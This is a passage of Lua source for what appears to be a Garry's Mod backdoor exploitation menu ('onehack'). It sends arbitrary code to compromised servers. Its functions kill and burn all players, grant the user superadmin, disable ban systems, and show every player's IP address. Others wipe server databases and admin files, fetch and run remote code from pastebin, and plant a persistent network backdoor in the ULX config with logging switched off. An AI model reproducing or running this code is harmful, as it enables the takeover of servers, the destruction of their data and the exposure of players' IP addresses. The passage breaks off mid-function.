674 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
675 end
676 onehack.backlistt_players_list.VBar:SetWidth(1)
677 onehack.backlistt_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar():GetWide(), onehack.backlistt_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
678 onehack.backlistt_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnUp:GetWide(), onehack.backlistt_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
679 onehack.backlistt_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnDown:GetWide(), onehack.backlistt_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
680 onehack.backlistt_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
681
682 onehack.player_button_prev = vgui.Create( "DButton", onehackdooropt )
683 onehack.player_button_prev:SetText( "" )
684 onehack.player_button_prev:SetPos(5,95)
685 onehack.player_button_prev:SetSize(150,20)
686 function onehack.player_button_prev:Paint( w,h )
687 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
688 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
689 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
690 end
691
692 onehack.player_button_all = onehack.backlistt_players_list:Add( "DButton" )
693 onehack.player_button_all:SetText( "" )
694 onehack.player_button_all:Dock( TOP )
695 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
696 function onehack.player_button_all:Paint( w,h )
697 if onehack.player_button_all:IsHovered() then
698 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
699 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
700 else
701 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
702 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
703 end
704 if onehack.selected_player == 0 then
705 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
706 else
707 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
708 end
709 end
710 function onehack.player_button_all:DoClick()
711 onehack.selected_player = 0
712 end
713
714 for k,v in pairs(player.GetAll()) do
715 local onehack_player_button = onehack.backlistt_players_list:Add( "DButton" )
716 onehack_player_button:SetText( "" )
717 onehack_player_button:Dock( TOP )
718 onehack_player_button:DockMargin( 0, 0, 0, 0 )
719 onehack_player_button.Paint = function( _, w, h )
720 if onehack_player_button:IsHovered() then
721 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
722 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
723 else
724 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
725 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
726 end
727 if onehack.selected_player == v then
728 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
729 else
730 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
731 end
732 end
733 function onehack_player_button:DoClick()
734 onehack.selected_player = v
735 end
736 end
737
738 onehack.backlistt_functions = vgui.Create( "DPanel", onehackdooropt )
739 onehack.backlistt_functions:SetPos(160,65)
740 onehack.backlistt_functions:SetSize(301,313)
741 function onehack.backlistt_functions:Paint( w,h )
742 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
743 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
744 end
745
746 onehack.backlistt_functionsss_list = vgui.Create( "DScrollPanel", onehack.backlistt_functions )
747 onehack.backlistt_functionsss_list:Dock(FILL)
748 function onehack.backlistt_functionsss_list:Paint( w,h )
749 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
750 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
751 end
752 onehack.backlistt_functionsss_list.VBar:SetWidth(1)
753 onehack.backlistt_functionsss_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar():GetWide(), onehack.backlistt_functionsss_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
754 onehack.backlistt_functionsss_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnUp:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
755 onehack.backlistt_functionsss_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnDown:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
756 onehack.backlistt_functionsss_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
757
758 onehack.AddFunction("Поменять всем имя", "textfield_rename", buttlistback, function()
759 onehack.NetStart( onehack.selectedbackdoor )
760 net.WriteString( "for k, v in pairs(player.GetAll()) do v:ConCommand(\"say /name Супер Гром!\"); end" )
761 net.WriteBit(1)
762 onehack.SendToServak()
763 end)
764
765 onehack.AddFunction("Убить всех", "cut", buttlistback, function()
766 onehack.NetStart( onehack.selectedbackdoor )
767 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
768 net.WriteBit(1)
769 onehack.SendToServak()
770 end)
771
772 onehack.AddFunction("Танцы", "cut", buttlistback, function()
773 onehack.NetStart( onehack.selectedbackdoor )
774 net.WriteString( [[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("dance_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
775 ]] )
776 net.WriteBit(1)
777 onehack.SendToServak()
778 end)
779
780 onehack.AddFunction("Подкинуть всех", "arrow_up", buttlistback, function()
781 onehack.NetStart( onehack.selectedbackdoor )
782 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
783 net.WriteBit(1)
784 onehack.SendToServak()
785 end)
786
787 onehack.AddFunction("Half-Life 2", "clock_play", buttlistback, function()
788 onehack.NetStart( onehack.selectedbackdoor )
789 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
790 net.WriteBit(1)
791 onehack.SendToServak()
792 end)
793
794 onehack.AddFunction("Крутилика", "arrow_rotate_anticlockwise", buttlistback, function()
795 onehack.NetStart( onehack.selectedbackdoor )
796 onehack.NetWireString(
797 [[hook.Add( "Think", "#bone::manipulation#", function()
798 for k,v in pairs(player.GetAll()) do
799 local hands = v:LookupBone("ValveBiped.Bip01_R_Hand")
800
801 v:ManipulateBoneAngles( hands, Angle(0, 0, RealTime()*500) )
802 end
803 end )]])
804 net.WriteBit(1)
805 onehack.SendToServak()
806 end)
807
808 onehack.AddFunction("Забрать оружия у всех", "controller_delete", buttlistback, function()
809 onehack.NetStart( onehack.selectedbackdoor )
810 onehack.NetWireString([[for _, p in pairs(player.GetAll()) do if not ]]..LocalPlayer():UniqueID()..[[ then p:StripWeapons() end end]])
811 net.WriteBit(1)
812 onehack.SendToServak()
813 end)
814
815 onehack.AddFunction("Поджечь всех", "building", buttlistback, function()
816 onehack.NetStart( onehack.selectedbackdoor )
817 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
818 net.WriteBit(1)
819 onehack.SendToServak()
820 end)
821
822 onehack.AddFunction("Выдать себе привилегию", "user_gray", buttlistback, function()
823 onehack.NetStart( onehack.selectedbackdoor )
824 net.WriteString( [[
825
826 local id = ]] .. LocalPlayer():UserID() .. [[
827
828 Player( id ):SetUserGroup( "superadmin" )
829
830 ]] )
831 net.WriteBit(1)
832 onehack.SendToServak()
833 end)
834
835 onehack.AddFunction("Камшейк", "emoticon_evilgrin", buttlistback, function()
836 onehack.NetStart( onehack.selectedbackdoor )
837 onehack.NetWireString("for k,v in pairs(player.GetAll()) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end")
838 net.WriteBit(1)
839 onehack.SendToServak()
840 end)
841
842 onehack.AddFunction("2D Модели", "font", buttlistback, function()
843 onehack.NetStart( onehack.selectedbackdoor )
844 onehack.NetWireString([[
845 for k,v in pairs(player.GetAll()) do
846 local a = v:LookupBone("ValveBiped.Bip01_Head1")
847 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
848 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
849 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
850 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
851 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
852 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
853 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
854 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
855 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
856 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
857
858 v:ManipulateBoneScale( a, Vector(4,0,4))
859 v:ManipulateBoneScale( b, Vector(0,0,0))
860 v:ManipulateBoneScale( c, Vector(0,0,0))
861 v:ManipulateBoneScale( d, Vector(0,0,1))
862 v:ManipulateBoneScale( e, Vector(0,0,1))
863 v:ManipulateBoneScale( f, Vector(0,0,0))
864 v:ManipulateBoneScale( g, Vector(0,0,0))
865 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
866 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
867 v:ManipulateBoneScale( j, Vector(0,0,0))
868 v:ManipulateBoneScale( k, Vector(0,0,0))
869 end]])
870 net.WriteBit(1)
871 onehack.SendToServak()
872 end)
873
874 onehack.AddFunction("Всех в гигантов", "control_eject", buttlistback, function()
875 onehack.NetStart( onehack.selectedbackdoor )
876 onehack.NetWireString([[
877 hook.Add("Think", "giant", function()
878 for k,v in pairs (player.GetAll()) do
879 v:SetModelScale(2.5, 100);
880 v:SetRunSpeed(400 * 2);
881 v:SetWalkSpeed(200 * 2);
882 end
883 end)]])
884 net.WriteBit(1)
885 onehack.SendToServak()
886 end)
887
888 onehack.AddFunction("Все любят меня :3", "comment", buttlistback, function()
889 onehack.NetStart( onehack.selectedbackdoor )
890 net.WriteString([[for k,p in pairs(player.GetAll()) do
891 p:ConCommand("say Я люблю Foer'a <3")
892 end
893 ]])
894 net.WriteBit(1)
895 net.SendToServer()
896 end)
897
898 onehack.AddFunction("Показать IP всех игроков", "chart_organisation", buttlistback, function()
899 onehack.NetStart( onehack.selectedbackdoor )
900 onehack.NetWireString([[
901
902 local id = ]] .. LocalPlayer():UserID() .. [[
903
904 for k, v in pairs( player.GetAll() ) do
905
906 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
907
908 end
909
910 ]])
911 net.WriteBit(1)
912 onehack.SendToServak()
913 end)
914
915 onehack.AddFunction("Сломать (ULX и FAdmin)", "brick_delete", buttlistback, function()
916 onehack.NetStart( onehack.selectedbackdoor )
917 onehack.NetWireString([[
918 ULib.Ban = function() return false end
919 _G.FAdmin = function() end
920 ULib.addBan = function() return end
921
922 ULib.kick = function() return end
923 ]])
924 net.WriteBit(1)
925 onehack.SendToServak()
926 end)
927
928 onehack.AddFunction("Дискотека", "group", buttlistback, function()
929 onehack.NetStart( onehack.selectedbackdoor )
930 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/ehNbAECD\",function(b,l,h,c)RunString(b)end,nil)")
931 net.WriteBit(1)
932 onehack.SendToServak()
933 end)
934
935 onehack.AddFunction("Пломбировать", "server_link", buttlistback, function()
936 onehack.NetStart( onehack.selectedbackdoor )
937 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/z8TmzbFF\",function(b,l,h,c)RunString(b)end,nil)")
938 net.WriteBit(1)
939 onehack.SendToServak()
940 end)
941
942 onehack.AddFunction("Разбанить всех", "database_edit", buttlistback, function()
943 onehack.NetStart( onehack.selectedbackdoor )
944 net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
945 net.WriteBit(1)
946 onehack.SendToServak()
947 end)
948
949 onehack.AddFunction("Удалить все группы", "group_delete", buttlistback, function()
950 onehack.NetStart( onehack.selectedbackdoor )
951 net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
952 net.WriteBit(1)
953 onehack.SendToServak()
954 end)
955
956 onehack.AddFunction("Сбросить деньги", "money_delete", buttlistback, function()
957 onehack.NetStart( onehack.selectedbackdoor )
958 net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
959 net.WriteBit(1)
960 onehack.SendToServak()
961 end)
962
963 onehack.AddFunction("Очистить карту", "cut_red", buttlistback, function()
964 onehack.NetStart( onehack.selectedbackdoor )
965 onehack.NetWireString("for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end")
966 net.WriteBit(1)
967 onehack.SendToServak()
968 end)
969
970 onehack.AddFunction("Изменить имя сервера", "drive_rename", buttlistback, function()
971 onehack.NetStart( onehack.selectedbackdoor )
972 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"rcon\", \"hostname\", \"• Ħá¢ҝ ƀɤ ǺβÇŦųŋℯᶉ | Ñęţ:("..onehack.selectedbackdoor..")\")")
973 net.WriteBit(1)
974 onehack.SendToServak()
975 end)
976
977 onehack.AddFunction("Спам", "keyboard", buttlistback, function()
978 onehack.NetStart( onehack.selectedbackdoor )
979 onehack.NetWireString("timer.Create( \"sppspas\", 0.1, 0, function() print(\"Hack by ABCTuner | Do not steal! | Вы наказаны за воровство, кодеры тоже люди и хотят есть! Они зарабатывают на жизнь продавая свои замечательные аддоны!\"); BroadcastLua([[chat.AddText(Color(255,10,100), \"• Ħáсҝ ƀɤ ǺβÇŦųŋℯᶉ \",Color(255,255,255),\"| Do not steal! | Ñęţ: \",HSVToColor( CurTime() % 6 * 60, 1, 1 ),\""..onehack.selectedbackdoor.."\" )]]) end)")
980 net.WriteBit(1)
981 onehack.SendToServak()
982 end)
983
984 onehack.AddFunction("Отпереть все двери", "door_open", buttlistback, function()
985 onehack.NetStart( onehack.selectedbackdoor )
986 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
987 net.WriteBit(1)
988 onehack.SendToServak()
989 end)
990
991 onehack.AddFunction("Открыть все двери на карте", "door_open", buttlistback, function()
992 onehack.NetStart( onehack.selectedbackdoor )
993 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
994 net.WriteBit(1)
995 onehack.SendToServak()
996 end)
997
998 onehack.AddFunction("Очистить все данные", "folder_delete", buttlistback, function()
999 onehack.NetStart( onehack.selectedbackdoor )
1000 onehack.NetWireString([[
1001 local date = os.date( "%m-%d-%y" )
1002 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
1003 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1004 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1005
1006 for k,v in pairs(databases) do
1007 if sql.TableExists(v) then
1008 sql.Query("DROP TABLE "..v.." ;")
1009 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1010 end
1011 end
1012
1013 for k,v in pairs(datafiles) do
1014 if file.Exists(v) then
1015 file.Delete(v)
1016 file.write(v, "А вот нехуй было обманывать")
1017 end
1018 end
1019
1020 for k,v in pairs(sensitivefiles) do
1021 if file.Exists(v) then
1022 file.Delete(v)
1023 file.write(v, "А вот нехуй было обманывать")
1024 end
1025 end
1026 ]])
1027 net.WriteBit(1)
1028 onehack.SendToServak()
1029 end)
1030 --
1031 onehack.AddFunction("Iseeyou", "shield_go", buttlistback, function()
1032 http.Fetch( "http://pastebin.com/raw.php?i=Ps16AErr", RunString )
1033 onehack.NetStart( onehack.selectedbackdoor )
1034 onehack.NetWireString("http.Fetch( \"http://pastebin.com/raw.php?i=Ps16AErr\", RunString )")
1035 net.WriteBit(1)
1036 onehack.SendToServak()
1037 RunConsoleCommand("iseeyou")
1038 end)
1039 onehack.AddFunction("Всех в КПЗ", "shield_go", buttlistback, function()
1040 onehack.NetStart( onehack.selectedbackdoor )
1041 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"jail\", \"*\")")
1042 net.WriteBit(1)
1043 onehack.SendToServak()
1044 end)
1045
1046 onehack.AddFunction("Инфекция", "chart_line_edit", buttlistback, function()
1047 onehack.NetStart( onehack.selectedbackdoor )
1048 onehack.NetWireString([[
1049 local config = ULib.fileRead( "data/ulx/config.txt" )
1050
1051 config = config.."\nulx logEcho 0"
1052
1053 config = config.."\nulx luarun util.AddNetworkString( 'ABCNet' ) net.Receive( 'ABCNet', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
1054
1055 config = config.."\nulx logEcho 1"
1056
1057 ULib.fileWrite( "data/ulx/config.txt", config )
1058
1059 ]])
1060 net.WriteBit(1)
1061 onehack.SendToServak()
1062 end)
1063
1064 onehack.AddFunction("Армагеддон", "bomb", buttlistback, function()
1065 onehack.NetStart( onehack.selectedbackdoor )
1066 onehack.NetWireString([[
1067 hook.Add("Think", "armageddon", function()
1068 local explode = ents.Create( "env_explosion" )
1069 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
1070 explode:Spawn()
1071 explode:SetKeyValue( "iMagnitude", "500" )
1072 explode:Fire( "Explode", 0, 0 )
1073 end)
1074 ]])
1075 net.WriteBit(1)
1076 onehack.SendToServak()
1077 end)
1078
1079 onehack.AddFunction("Изменить звуки шагов", "sound", buttlistback, function()
1080 onehack.NetStart( onehack.selectedbackdoor )
1081 onehack.NetWireString("hook.Add(\"PlayerFootstep\", \"porn\", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( \"vo/npc/female01/pain06.wav\",75,math.random( 50, 150 )) end )")
1082 net.WriteBit(1)
1083 onehack.SendToServak()
1084 end)
1085
1086 onehack.AddFunction("Сказать что серверу пизда", "sound", buttlistback, function()
1087 onehack.NetStart( onehack.selectedbackdoor )
1088 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://mamkaeb.000webhostapp.com/sound.mp3\", \"mono\", function()end )]])")
1089 net.WriteBit(1)
1090 net.SendToServer()
1091 end)
1092
1093 onehack.AddFunction("Музыка - Be Friend", "sound", buttlistback, function()
1094 onehack.NetStart( onehack.selectedbackdoor )
1095 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/BE%20FRIENDS.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Be Friend\")]])")
1096 net.WriteBit(1)
1097 net.SendToServer()
1098 end)
1099
1100 onehack.AddFunction("Музыка - Привет, это круто", "sound", buttlistback, function()
1101 onehack.NetStart( onehack.selectedbackdoor )
1102 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Salut%20Cest%20Cool.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Привет это круто\")]])")
1103 net.WriteBit(1)
1104 net.SendToServer()
1105 end)
1106
1107 onehack.AddFunction("Музыка - Somewhere over", "sound", buttlistback, function()
1108 onehack.NetStart( onehack.selectedbackdoor )
1109 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Somewhere%20over.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Somehere over\")]])")
1110 net.WriteBit(1)
1111 net.SendToServer()
1112 end)
1113
1114 onehack.AddFunction("Музыка - Петушиный вой", "sound", buttlistback, function()
